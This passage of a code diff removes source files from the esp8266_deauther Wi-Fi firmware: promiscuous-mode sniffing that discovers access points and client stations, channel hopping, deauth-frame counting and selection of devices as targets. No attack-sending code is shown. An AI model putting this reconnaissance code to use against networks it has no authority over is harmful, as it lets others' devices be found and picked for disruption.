stations.add(macFrom, accesspoints.getID(accesspointNum));
}
}
}
int Scan::findAccesspoint(uint8_t* mac) {
for (int i = 0; i < accesspoints.count(); i++) {
if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i;
}
return -1;
}
void Scan::start(uint8_t mode) {
start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);
}
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,
uint8_t channel) {
if (mode != SCAN_MODE_OFF) stop();
setWifiChannel(channel, true);
Scan::continueStartTime = currentTime;
Scan::snifferPacketTime = continueStartTime;
Scan::snifferOutputTime = continueStartTime;
Scan::continueTime = continueTime;
Scan::sniffTime = time;
Scan::channelHop = channelHop;
Scan::scanMode = mode;
Scan::scan_continue_mode = nextmode;
if ((sniffTime > 0) && (sniffTime < 1000)) sniffTime = 1000;
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode,
// time, scan_continue_mode, continueTime, channelHop, channel);
/* AP Scan */
if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) {
// remove old results
accesspoints.removeAll();
stations.removeAll();
// start AP scan
prntln(SC_START_AP);
WiFi.scanNetworks(true, true);
}
/* Station Scan */
else if (mode == SCAN_MODE_STATIONS) {
// start station scan
if (accesspoints.count() < 1) {
start(SCAN_MODE_ALL);
// Serial.println(str(SC_ERROR_NO_AP));
return;
}
snifferStartTime = currentTime;
prnt(SC_START_CLIENT);
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
else prnt(SC_INFINITELY);
if (!channelHop) {
prnt(SC_ON_CHANNEL);
prnt(wifi_channel);
}
prntln();
// enable sniffer
wifi::stopAP();
wifi_promiscuous_enable(true);
}
else if (mode == SCAN_MODE_SNIFFER) {
deauths = tmpDeauths;
tmpDeauths = 0;
snifferStartTime = currentTime;
prnt(SS_START_SNIFFER);
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
else prnt(SC_INFINITELY);
prnt(SC_ON_CHANNEL);
prntln(channelHop ? str(SC_ONE_TO) + (String)14 : (String)wifi_channel);
// enable sniffer
wifi::stopAP();
wifi_promiscuous_enable(true);
}
/* Stop scan */
else if (mode == SCAN_MODE_OFF) {
wifi_promiscuous_enable(false);
if (settings::getWebSettings().enabled) wifi::resumeAP();
prntln(SC_STOPPED);
save(true);
if (scan_continue_mode != SCAN_MODE_OFF) {
prnt(SC_RESTART);
prnt(int(continueTime / 1000));
prntln(SC_CONTINUE);
}
}
/* ERROR */
else {
prnt(SC_ERROR_MODE);
prntln(mode);
return;
}
}
void Scan::update() {
if (scanMode == SCAN_MODE_OFF) {
// restart scan if it is continuous
if (scan_continue_mode != SCAN_MODE_OFF) {
if (currentTime - continueStartTime > continueTime) start(scan_continue_mode);
}
return;
}
// sniffer
if (isSniffing()) {
// update packet list every 1s
if (currentTime - snifferPacketTime > 1000) {
snifferPacketTime = currentTime;
list->add(packets);
if (list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);
deauths = tmpDeauths;
tmpDeauths = 0;
packets = 0;
}
// print status every 3s
if (currentTime - snifferOutputTime > 3000) {
char s[100];
if (sniffTime > 0) {
sprintf(s, str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);
} else {
sprintf(s, str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths);
}
prnt(String(s));
snifferOutputTime = currentTime;
}
// channel hopping
if (channelHop && (currentTime - snifferChannelTime > settings::getSnifferSettings().channel_time)) {
snifferChannelTime = currentTime;
if (scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
else setChannel(wifi_channel + 1); // go to next channel
}
}
// APs
if ((scanMode == SCAN_MODE_APS) || (scanMode == SCAN_MODE_ALL)) {
int16_t results = WiFi.scanComplete();
if (results >= 0) {
for (int16_t i = 0; i < results && i < 256; i++) {
if (channelHop || (WiFi.channel(i) == wifi_channel)) accesspoints.add(i, false);
}
accesspoints.sort();
accesspoints.printAll();
if (scanMode == SCAN_MODE_ALL) {
delay(30);
start(SCAN_MODE_STATIONS);
}
else start(SCAN_MODE_OFF);
}
}
// Stations
else if ((sniffTime > 0) && (currentTime > snifferStartTime + sniffTime)) {
wifi_promiscuous_enable(false);
if (scanMode == SCAN_MODE_STATIONS) {
stations.sort();
stations.printAll();
}
start(SCAN_MODE_OFF);
}
}
void Scan::setup() {
save(true);
}
void Scan::stop() {
scan_continue_mode = SCAN_MODE_OFF;
start(SCAN_MODE_OFF);
}
void Scan::setChannel(uint8_t ch) {
if (ch > 14) ch = 1;
else if (ch < 1) ch = 14;
wifi_promiscuous_enable(0);
setWifiChannel(ch, true);
wifi_promiscuous_enable(1);
}
void Scan::nextChannel() {
if (accesspoints.count() > 1) {
uint8_t ch = wifi_channel;
do {
ch++;
if (ch > 14) ch = 1;
} while (!apWithChannel(ch));
setChannel(ch);
}
}
bool Scan::apWithChannel(uint8_t ch) {
for (int i = 0; i < accesspoints.count(); i++)
if (accesspoints.getCh(i) == ch) return true;
return false;
}
void Scan::save(bool force, String filePath) {
String tmp = FILE_PATH;
FILE_PATH = filePath;
save(true);
FILE_PATH = tmp;
}
void Scan::save(bool force) {
if (!(accesspoints.changed || stations.changed) && !force) return;
// Accesspoints
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(
DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
if (!writeFile(FILE_PATH, buf)) { // overwrite old file
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
uint32_t apCount = accesspoints.count();
for (uint32_t i = 0; i < apCount; i++) {
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) +
String(COMMA); // ["ssid",
buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name",
buf += String(accesspoints.getCh(i)) + String(COMMA); // 1,
buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30,
buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2",
buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false]
if (i < apCount - 1) buf += String(COMMA); // ,
if (buf.length() >= 1024) {
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
}
}
// Stations
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) +
String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
uint32_t stationCount = stations.count();
for (uint32_t i = 0; i < stationCount; i++) {
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) +
String(COMMA); // ["00:11:22:00:11:22",
buf += String(stations.getCh(i)) + String(COMMA); // 1,
buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name",
buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
buf += String(*stations.getPkts(i)) + String(COMMA); // 123,
buf += String(stations.getAP(i)) + String(COMMA); // 0,
buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min",
buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false]
if (i < stationCount - 1) buf += String(COMMA); // ,
if (buf.length() >= 1024) {
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
}
}
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
accesspoints.changed = false;
stations.changed = false;
prnt(SC_SAVED_IN);
prntln(FILE_PATH);
}
uint32_t Scan::countSelected() {
return accesspoints.selected() + stations.selected() + names.selected();
}
uint32_t Scan::countAll() {
return accesspoints.count() + stations.count() + names.count();
}
bool Scan::isScanning() {
return scanMode != SCAN_MODE_OFF;
}
bool Scan::isSniffing() {
return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER;
}
uint8_t Scan::getPercentage() {
if (!isSniffing()) return 0;
return (currentTime - snifferStartTime) / (sniffTime / 100);
}
void Scan::selectAll() {
accesspoints.selectAll();
stations.selectAll();
names.selectAll();
}
void Scan::deselectAll() {
accesspoints.deselectAll();
stations.deselectAll();
names.deselectAll();
}
void Scan::printAll() {
accesspoints.printAll();
stations.printAll();
names.printAll();
ssids.printAll();
}
void Scan::printSelected() {
accesspoints.printSelected();
stations.printSelected();
names.printSelected();
}
uint32_t Scan::getPackets(int i) {
if (list->size() < SCAN_PACKET_LIST_SIZE) {
uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();
if (i >= translatedNum) return list->get(i - translatedNum);
return 0;
} else {
return list->get(i);
}
}
String Scan::getMode() {
switch (scanMode) {
case SCAN_MODE_OFF:
return str(SC_MODE_OFF);
case SCAN_MODE_APS:
return str(SC_MODE_AP);
case SCAN_MODE_STATIONS:
return str(SC_MODE_ST);
case SCAN_MODE_ALL:
return str(SC_MODE_ALL);
case SCAN_MODE_SNIFFER:
return str(SC_MODE_SNIFFER);
default:
return String();
}
}
double Scan::getScaleFactor(uint8_t height) {
return (double)height / (double)getMaxPacket();
}
uint32_t Scan::getMaxPacket() {
uint16_t max = 0;
for (uint8_t i = 0; i < list->size(); i++) {
if (list->get(i) > max) max = list->get(i);
}
return max;
}
uint32_t Scan::getPacketRate() {
return list->get(list->size() - 1);
}

View File

@ -1,94 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
#include "Accesspoints.h"
#include "Stations.h"
#include "Names.h"
#include "SSIDs.h"
#include "language.h"
#include "SimpleList.h"
#define SCAN_MODE_OFF 0
#define SCAN_MODE_APS 1
#define SCAN_MODE_STATIONS 2
#define SCAN_MODE_ALL 3
#define SCAN_MODE_SNIFFER 4
#define SCAN_DEFAULT_TIME 15000
#define SCAN_DEFAULT_CONTINUE_TIME 10000
#define SCAN_PACKET_LIST_SIZE 64
extern Accesspoints accesspoints;
extern Stations stations;
extern Names names;
extern SSIDs ssids;
extern uint8_t wifiMode;
extern void setWifiChannel(uint8_t ch, bool force);
extern bool appendFile(String path, String& buf);
extern bool writeFile(String path, String& buf);
extern void readFileToSerial(const String path);
extern String escape(String str);
class Scan {
public:
Scan();
void sniffer(uint8_t* buf, uint16_t len);
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel);
void start(uint8_t mode);
void setup();
void update();
void stop();
void save(bool force);
void save(bool force, String filePath);
void selectAll();
void deselectAll();
void printAll();
void printSelected();
uint8_t getPercentage();
uint32_t getPackets(int i);
uint32_t countAll();
uint32_t countSelected();
bool isScanning();
bool isSniffing();
void nextChannel();
void setChannel(uint8_t newChannel);
String getMode();
double getScaleFactor(uint8_t height);
uint32_t getMaxPacket();
uint32_t getPacketRate();
uint16_t deauths = 0;
uint16_t packets = 0;
private:
SimpleList<uint16_t>* list; // packet list
uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs
uint32_t snifferStartTime = 0; // when the scan started
uint32_t snifferOutputTime = 0; // last info output (every 3s)
uint32_t snifferChannelTime = 0; // last time the channel was changed
uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s)
uint8_t scanMode = 0;
uint8_t scan_continue_mode = 0; // restart mode after scan stopped
uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts
uint32_t continueStartTime = 0; // when scan restarted
bool channelHop = true;
uint16_t tmpDeauths = 0;
bool apWithChannel(uint8_t ch);
int findAccesspoint(uint8_t* mac);
String FILE_PATH = "/scan.json";
};

View File

@ -1,515 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include <type_traits>
#include <cstddef>
#include <functional>
template<class T>
struct SimpleListNode {
T data;
SimpleListNode<T>* next = NULL;
};
template<typename T>
class SimpleList {
public:
SimpleList();
SimpleList(int(*compare)(T & a, T & b));
virtual ~SimpleList();
virtual void setCompare(int (* compare)(T& a, T& b));
virtual int size();
virtual bool isSorted();
virtual bool isEmpty();
virtual void add(int index, T obj);
virtual void add(T obj);
virtual void insert(T obj);
virtual void replace(int index, T obj);
virtual void swap(int x, int y);
virtual void remove(int index);
virtual void removeFirst();
virtual void removeLast();
virtual bool has(T obj);
virtual int count(T obj);
virtual T shift();
virtual T pop();
virtual T get(int index);
virtual T getFirst();
virtual T getLast();
virtual void moveToEnd();
virtual int search(T obj);
virtual int searchNext(T obj);
virtual int binSearch(T obj);
virtual void sort();
virtual void clear();
protected:
int (* compare)(T& a, T& b) = NULL;
int listSize = 0;
SimpleListNode<T>* listBegin = NULL;
SimpleListNode<T>* listEnd = NULL;
// Helps get() method by saving last position
SimpleListNode<T>* lastNodeGot = NULL;
int lastIndexGot = -1;
bool isCached = false;
bool sorted = true;
virtual SimpleListNode<T>* getNode(int index);
virtual int binSearch(T obj, int lowerEnd, int upperEnd);
};
template<typename T>
SimpleList<T>::SimpleList() {}
template<typename T>
SimpleList<T>::SimpleList(int(*compare)(T & a, T & b)) {
setCompare(compare);
}
// Clear Nodes and free Memory
template<typename T>
SimpleList<T>::~SimpleList() {
clear();
}
template<typename T>
void SimpleList<T>::setCompare(int (* compare)(T& a, T& b)) {
this->compare = compare;
sort();
}
template<typename T>
SimpleListNode<T>* SimpleList<T>::getNode(int index) {
if ((index < 0) || (index >= listSize)) return NULL;
SimpleListNode<T>* hNode = listBegin;
int c = 0;
if (isCached && (index >= lastIndexGot)) {
c = lastIndexGot;
hNode = lastNodeGot;
}
while (hNode && c < index) {
hNode = hNode->next;
c++;
}
if (hNode) {
isCached = true;
lastIndexGot = c;
lastNodeGot = hNode;
}
return hNode;
}
template<typename T>
int SimpleList<T>::size() {
return listSize;
}
template<typename T>
bool SimpleList<T>::isSorted() {
return sorted;
}
template<typename T>
bool SimpleList<T>::isEmpty() {
return listSize == 0;
}
template<typename T>
void SimpleList<T>::add(T obj) {
// create new node
SimpleListNode<T>* newNode = new SimpleListNode<T>();
newNode->data = obj;
if (!listBegin) listBegin = newNode;
if (listEnd) {
listEnd->next = newNode;
listEnd = newNode;
} else {
listEnd = newNode;
}
listSize++;
sorted = false;
}
template<typename T>
void SimpleList<T>::add(int index, T obj) {
if ((index < 0) || (index >= listSize)) {
return;
}
SimpleListNode<T>* newNode = new SimpleListNode<T>();
newNode->data = obj;
if (index == 0) {
listBegin = newNode;
} else {
SimpleListNode<T>* nodePrev = getNode(index - 1);
newNode->next = nodePrev->next;
nodePrev->next = newNode;
}
listSize++;
sorted = false;
}
template<typename T>
void SimpleList<T>::insert(T obj) {
if (!compare) {
add(obj);
return;
}
if (!sorted) sort();
// create new node
SimpleListNode<T>* newNode = new SimpleListNode<T>();
newNode->data = obj;
if (listSize == 0) {
// add at start (first node)
listBegin = newNode;
listEnd = newNode;
} else {
if (compare(obj, listEnd->data) >= 0) {
// add at end
listEnd->next = newNode;
listEnd = newNode;
} else if (compare(obj, listBegin->data) < 0) {
// add at start
newNode->next = listBegin;
listBegin = newNode;
} else {
// insertion sort
SimpleListNode<T>* h = listBegin;
SimpleListNode<T>* p = NULL;
bool found = false;
// here a sequential search, because otherwise the previous node couldn't be accessed
while (h && !found) {
if (compare(obj, h->data) < 0) {
found = true;
} else {
p = h;
h = h->next;
}
}
newNode->next = h;
if (p) p->next = newNode;
}
}
listSize++;
}
template<typename T>
void SimpleList<T>::replace(int index, T obj) {
if ((index >= 0) && (index < listSize)) {
getNode(index)->data = obj;
}
}
template<typename T>
void SimpleList<T>::swap(int x, int y) {
// only continue when the index numbers are unequal and at least 0
if ((x != y) && (x >= 0) && (y >= 0)) {
if (x > y) { // the first index should be smaller than the second. If not, swap them!
int h = x;
x = y;
y = h;
}
// When data is small, copy it
if (sizeof(T) < 24) {
SimpleListNode<T>* nodeA = getNode(x);
SimpleListNode<T>* nodeB = getNode(y);
T h = nodeA->data;
nodeA->data = nodeB->data;
nodeB->data = h;
}
// otherwise change the pointers
else {
// Example: a -> b -> c -> ... -> g -> h -> i
// we want to swap b with h
SimpleListNode<T>* nodeA = getNode(x - 1); // x.prev
SimpleListNode<T>* nodeB = getNode(x); // x
SimpleListNode<T>* nodeC = getNode(x + 1); // x.next
SimpleListNode<T>* nodeG = y - 1 == x ? nodeB : getNode(y - 1); // y.prev
SimpleListNode<T>* nodeH = getNode(y); // y
SimpleListNode<T>* nodeI = getNode(y + 1); // y.next
// a -> h -> i b -> c -> ... -> g -> h -> i
if (nodeA) nodeA->next = nodeH;
else listBegin = nodeH;
// a -> h -> c -> ... -> g -> h -> i b -> i
if (nodeH != nodeC) // when nodes between b and h exist
nodeH->next = nodeC;
else nodeH->next = nodeB;
// a -> h -> i b -> i
nodeB->next = nodeI;
if (!nodeI) listEnd = nodeB;
// a -> h -> c -> ... -> g -> b -> i
if (nodeG != nodeB) // when more than 1 nodes between b and h exist
nodeG->next = nodeB;
}
}
}
template<typename T>
void SimpleList<T>::remove(int index) {
if ((index < 0) || (index >= listSize)) return;
SimpleListNode<T>* nodePrev = getNode(index - 1);
SimpleListNode<T>* nodeToDelete = getNode(index);
if (index == 0) {
listBegin = nodeToDelete->next;
} else {
nodePrev->next = nodeToDelete->next;
if (!nodePrev->next) listEnd = nodePrev;
}
delete nodeToDelete;
isCached = false;
listSize--;
}
template<typename T>
void SimpleList<T>::removeFirst() {
remove(0);
}
template<typename T>
void SimpleList<T>::removeLast() {
remove(listSize - 1);
}
template<typename T>
bool SimpleList<T>::has(T obj) {
return binSearch(obj) >= 0;
}
template<typename T>
int SimpleList<T>::count(T obj) {
if (compare == NULL) return -1;
int c = 0;
for (int i = 0; i < listSize; i++) {
if (compare(obj, getNode(i)->data) == 0) c++;
}
return c;
}
template<typename T>
T SimpleList<T>::get(int index) {
SimpleListNode<T>* h = getNode(index);
if (h) return h->data;
return T();
}
template<typename T>
T SimpleList<T>::getFirst() {
return get(0);
}
template<typename T>
T SimpleList<T>::getLast() {
return get(listSize - 1);
}
template<typename T>
void SimpleList<T>::moveToEnd() {
SimpleListNode<T>* h = listBegin;
if (!h) return;
listBegin = listBegin->next;
listEnd->next = h;
h->next = NULL;
listEnd = h;
lastNodeGot = NULL;
lastIndexGot = -1;
isCached = false;
sorted = false;
}
template<typename T>
int SimpleList<T>::search(T obj) {
if (compare == NULL) return -1;
int i = 0;
SimpleListNode<T>* hNode = getNode(i);
bool found = compare(obj, hNode->data) == 0;
while (!found && i < listSize) {
i++;
hNode = getNode(i);
found = compare(obj, hNode->data) == 0;
}
return found ? i : -1;
}
template<typename T>
int SimpleList<T>::searchNext(T obj) {
if (compare == NULL) return -1;
int i = lastIndexGot;
SimpleListNode<T>* hNode = lastNodeGot;
bool found = compare(obj, hNode->data) == 0;
while (!found && i < listSize) {
i++;
hNode = getNode(i);
found = compare(obj, hNode->data) == 0;
}
return found ? i : -1;
}
template<typename T>
int SimpleList<T>::binSearch(T obj, int lowerEnd, int upperEnd) {
if (!compare || !sorted) return search(obj);
if (!listBegin) return -1;
int res;
int mid = (lowerEnd + upperEnd) / 2;
SimpleListNode<T>* hNode = getNode(0);
int hIndex = 0;
while (lowerEnd <= upperEnd) {
hNode = lastNodeGot;
hIndex = lastIndexGot;
res = compare(obj, getNode(mid)->data);
if (res == 0) {
return mid;
} else if (res < 0) {
// when going left, set cached node back to previous cached node
lastNodeGot = hNode;
lastIndexGot = hIndex;
isCached = true;
upperEnd = mid - 1;
mid = (lowerEnd + upperEnd) / 2;
} else if (res > 0) {
lowerEnd = mid + 1;
mid = (lowerEnd + upperEnd) / 2;
}
}
return -1;
}
template<typename T>
int SimpleList<T>::binSearch(T obj) {
return binSearch(obj, 0, listSize - 1);
}
template<typename T>
T SimpleList<T>::pop() {
T data = getLast();
removeLast();
return data;
}
template<typename T>
T SimpleList<T>::shift() {
T data = getFirst();
removeFirst();
return data;
}
template<typename T>
void SimpleList<T>::clear() {
while (listSize > 0) removeFirst();
listSize = 0;
listBegin = NULL;
listEnd = NULL;
lastNodeGot = NULL;
lastIndexGot = -1;
isCached = false;
sorted = true;
}
template<typename T>
void SimpleList<T>::sort() {
if (compare == NULL) return;
// selection sort (less swaps than insertion sort)
int indexH; // index of node i
int indexMin; // index of next minimum node
SimpleListNode<T>* nodeMin; // next minimum node
SimpleListNode<T>* nodeH; // helper node at index j
for (int i = 0; i < listSize - 1; i++) {
nodeMin = getNode(i);
indexH = i;
indexMin = i;
for (int j = i + 1; j < listSize; j++) {
nodeH = getNode(j);
if (compare(nodeMin->data, nodeH->data) > 0) {
nodeMin = nodeH;
indexMin = j;
}
}
swap(indexH, indexMin);
}
this->sorted = true;
}

View File

@ -1,373 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "Stations.h"
Stations::Stations() {
list = new SimpleList<Station>();
}
void Stations::add(uint8_t* mac, int accesspointNum) {
int stationNum = findStation(mac);
if (stationNum < 0) {
internal_add(mac, accesspointNum);
// print(list->size() - 1, list->size() == 1, false);
} else {
*getPkts(stationNum) += 1;
*getTime(stationNum) = currentTime;
}
changed = true;
}
int Stations::findStation(uint8_t* mac) {
int c = count();
for (int i = 0; i < c; i++) {
if (memcmp(getMac(i), mac, 6) == 0) return i;
}
return -1;
}
void Stations::sort() {
list->setCompare([](Station& a, Station& b) -> int {
if (*(a.pkts) > *(b.pkts)) return -1;
if (*(a.pkts) == *(b.pkts)) return 0;
return 1;
});
list->sort();
}
void Stations::sortAfterChannel() {
list->setCompare([](Station& a, Station& b) -> int {
if (a.ch < b.ch) return -1;
if (a.ch == b.ch) return 0;
return 1;
});
list->sort();
}
void Stations::removeAll() {
internal_removeAll();
prntln(ST_CLEARED_LIST);
changed = true;
}
void Stations::removeOldest() {
int oldest = 0;
int c = count();
for (int i = 1; i < c; i++) {
if (*getTime(i) > *getTime(oldest)) oldest = i;
}
internal_remove(oldest);
changed = true;
}
void Stations::printAll() {
prntln(ST_HEADER);
int c = count();
if (c == 0) prntln(ST_LIST_EMPTY);
else
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
}
void Stations::printSelected() {
prntln(ST_HEADER);
int max = selected();
int c = count();
if (max == 0) {
prntln(ST_NO_DEVICES_SELECTED);
return;
}
for (int i = 0, j = 0; i < c && j < max; i++) {
if (getSelected(i)) {
print(i, j == 0, j == max - 1);
j++;
}
}
}
void Stations::print(int num) {
print(num, true, true);
}
void Stations::print(int num, bool header, bool footer) {
if (!check(num)) return;
if (header) {
prntln(ST_TABLE_HEADER);
prntln(ST_TABLE_DIVIDER);
}
prnt(leftRight(String(), (String)num, 2));
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
prnt(leftRight(String(SPACE), (String) * getPkts(num), 9));
prnt(leftRight(String(SPACE) + getAPStr(num), String(), 33));
prnt(leftRight(String(SPACE) + getTimeStr(num), String(), 10));
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
if (footer) prntln(ST_TABLE_DIVIDER);
}
String Stations::getAPStr(int num) {
if (getAP(num) < 0) return String();
return accesspoints.getSSID(getAP(num));
}
uint8_t* Stations::getAPMac(int num) {
if (!check(num)) return 0;
return WiFi.BSSID(list->get(num).ap);
}
String Stations::getAPMacStr(int num) {
if (!check(num)) return String();
uint8_t* mac = getAPMac(num);
return bytesToStr(mac, 6);
}
int Stations::getAP(int num) {
if (!check(num)) return -1;
return accesspoints.find(list->get(num).ap);
}
String Stations::getNameStr(int num) {
if (!check(num)) return String();
return names.find(getMac(num));
}
bool Stations::hasName(int num) {
if (!check(num)) return false;
return names.findID(getMac(num)) >= 0;
}
uint8_t* Stations::getMac(int num) {
if (!check(num)) return 0;
return list->get(num).mac;
}
String Stations::getMacStr(int num) {
if (!check(num)) return String();
uint8_t* mac = getMac(num);
return bytesToStr(mac, 6);
}
String Stations::getMacVendorStr(int num) {
String value;
if (check(num)) {
value = getVendorStr(num) + ":";
uint8_t* mac = getMac(num);
for (int i = 3; i < 6; i++) {
if (mac[i] < 0x10) value += "0";
value += String(mac[i], HEX);
if (i < 5) value += ":";
}
}
return value;
}
String Stations::getVendorStr(int num) {
if (!check(num)) return String();
return searchVendor(list->get(num).mac);
}
String Stations::getSelectedStr(int num) {
return b2a(getSelected(num));
}
uint32_t* Stations::getPkts(int num) {
if (!check(num)) return NULL;
return list->get(num).pkts;
}
uint32_t* Stations::getTime(int num) {
if (!check(num)) return NULL;
return list->get(num).time;
}
String Stations::getTimeStr(int num) {
if (!check(num)) return String();
uint32_t difference = currentTime - *getTime(num);
if (difference < 1000) return str(ST_SMALLER_ONESEC);
else if (difference < 60000) return str(ST_SMALLER_ONEMIN);
else {
uint32_t minutes = difference / 60000;
if (minutes > 60) return str(ST_BIGER_ONEHOUR);
else return (String)minutes + str(STR_MIN);
}
}
bool Stations::getSelected(int num) {
if (!check(num)) return false;
return list->get(num).selected;
}
uint8_t Stations::getCh(int num) {
if (!check(num)) return 0;
return list->get(num).ch;
}
void Stations::select(int num) {
if (!check(num)) return;
internal_select(num);
prnt(ST_SELECTED_STATION);
prntln(num);
changed = true;
}
void Stations::deselect(int num) {
if (!check(num)) return;
internal_deselect(num);
prnt(ST_DESELECTED_STATION);
prntln(num);
changed = true;
}
void Stations::remove(int num) {
if (!check(num)) return;
prnt(ST_REMOVED_STATION);
prntln(num);
internal_remove(num);
changed = true;
}
void Stations::select(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getAPStr(i).equalsIgnoreCase(ssid)) select(i);
}
}
void Stations::deselect(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getAPStr(i).equalsIgnoreCase(ssid)) deselect(i);
}
}
void Stations::remove(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getAPStr(i).equalsIgnoreCase(ssid)) remove(i);
}
}
void Stations::selectAll() {
for (int i = 0; i < count(); i++) internal_select(i);
prntln(ST_SELECTED_ALL);
changed = true;
}
void Stations::deselectAll() {
for (int i = 0; i < count(); i++) internal_deselect(i);
prntln(ST_DESELECTED_ALL);
changed = true;
}
int Stations::count() {
return list->size();
}
int Stations::selected() {
int num = 0;
for (int i = 0; i < count(); i++)
if (getSelected(i)) num++;
return num;
}
bool Stations::check(int num) {
if (internal_check(num)) {
return true;
} else {
prnt(ST_ERROR_ID);
prntln(num);
return false;
}
}
bool Stations::internal_check(int num) {
return num >= 0 && num < count();
}
void Stations::internal_select(int num) {
Station changedStation = list->get(num);
changedStation.selected = true;
list->replace(num, changedStation);
}
void Stations::internal_deselect(int num) {
Station changedStation = list->get(num);
changedStation.selected = false;
list->replace(num, changedStation);
}
void Stations::internal_remove(int num) {
free(getMac(num));
free(getPkts(num));
free(getTime(num));
list->remove(num);
}
void Stations::internal_add(uint8_t* mac, int accesspointNum) {
if (count() >= STATION_LIST_SIZE) removeOldest();
Station newStation;
newStation.ap = accesspointNum;
newStation.ch = wifi_channel;
newStation.mac = (uint8_t*)malloc(6);
newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t));
newStation.time = (uint32_t*)malloc(sizeof(uint32_t));
newStation.selected = false;
memcpy(newStation.mac, mac, 6);
*newStation.pkts = 1;
*newStation.time = currentTime;
list->add(newStation);
}
void Stations::internal_removeAll() {
int c = count();
for (int i = 0; i < c; i++) {
free(getMac(i));
free(getPkts(i));
free(getTime(i));
}
list->clear();
}

View File

@ -1,97 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
extern "C" {
#include "user_interface.h"
}
#include "language.h"
#include "SimpleList.h"
#include "Accesspoints.h"
#include "Names.h"
#define STATION_LIST_SIZE 60
extern Accesspoints accesspoints;
extern Names names;
extern uint8_t wifi_channel;
extern uint32_t currentTime;
extern String searchVendor(uint8_t* mac);
extern bool macMulticast(uint8_t* mac);
extern bool macValid(uint8_t* mac);
extern bool macBroadcast(uint8_t* mac);
extern String bytesToStr(const uint8_t* b, uint32_t size);
class Stations {
public:
Stations();
void sort();
void sortAfterChannel();
void select(int num);
void deselect(int num);
void remove(int num);
void select(String ssid);
void deselect(String ssid);
void remove(String ssid);
void add(uint8_t* mac, int accesspointNum);
void selectAll();
void deselectAll();
void removeAll();
void removeOldest();
String getNameStr(int num);
String getAPStr(int num);
String getMacStr(int num);
String getMacVendorStr(int num);
String getVendorStr(int num);
String getTimeStr(int num);
String getSelectedStr(int num);
uint8_t* getAPMac(int num);
String getAPMacStr(int num);
uint8_t* getMac(int num);
uint32_t* getPkts(int num);
uint32_t* getTime(int num);
uint8_t getCh(int num);
int getAP(int num);
bool getSelected(int num);
bool hasName(int num);
void print(int num);
void print(int num, bool header, bool footer);
void printAll();
void printSelected();
int count();
int selected();
